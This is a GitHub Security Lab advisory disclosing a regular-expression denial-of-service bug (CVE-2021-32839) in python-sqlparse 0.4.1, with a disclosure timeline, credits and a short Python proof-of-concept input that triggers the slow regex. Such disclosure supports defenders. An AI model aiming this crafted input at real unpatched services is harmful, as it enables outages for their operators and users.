GHSL-2021-107: ReDoS (Regular Expression Denial of Service) in python-sqlparse - CVE-2021-32839

Coordinated Disclosure Timeline

• 2021-08-31: Report sent to albrecht.andi@gmail.com
• 2021-09-06: Draft advisory created. Erik and Rasmus have been invited as collaborators.
• 2021-09-10: Bug is fixed in commit 8238a9e.
• 2021-09-10: Advisory (GHSA-p5w8-wqhj-9hhf) published.

Summary

python-sqlparse contains a regular expression that is vulnerable to ReDoS (Regular Expression Denial of Service).

Product

python-sqlparse

Tested Version

0.4.1

Details

ReDoS

ReDoS, or Regular Expression Denial of Service, is a vulnerability affecting inefficient regular expressions which can perform extremely badly when run on a crafted input string.

This vulnerability was found using a CodeQL query which identifies inefficient regular expressions.

Vulnerability

The vulnerable regular expression is here.

Please follow these steps to reproduce the issue:

• Install sqlparse: pip install sqlparse
• Run the below with python3:

import sqlparse

attack = '\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\t'

sql = 'select * from bar /* ' + attack + '*/'
res = sqlparse.format(sql, strip_comments=True)
print(res)

Impact

This issue may lead to a denial of service.

CVE

• CVE-2021-32839

Credit

This issue was discovered by GitHub team members @erik-krogh (Erik Krogh Kristensen) and @yoff (Rasmus Petersen).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2021-107 in any communication regarding this issue.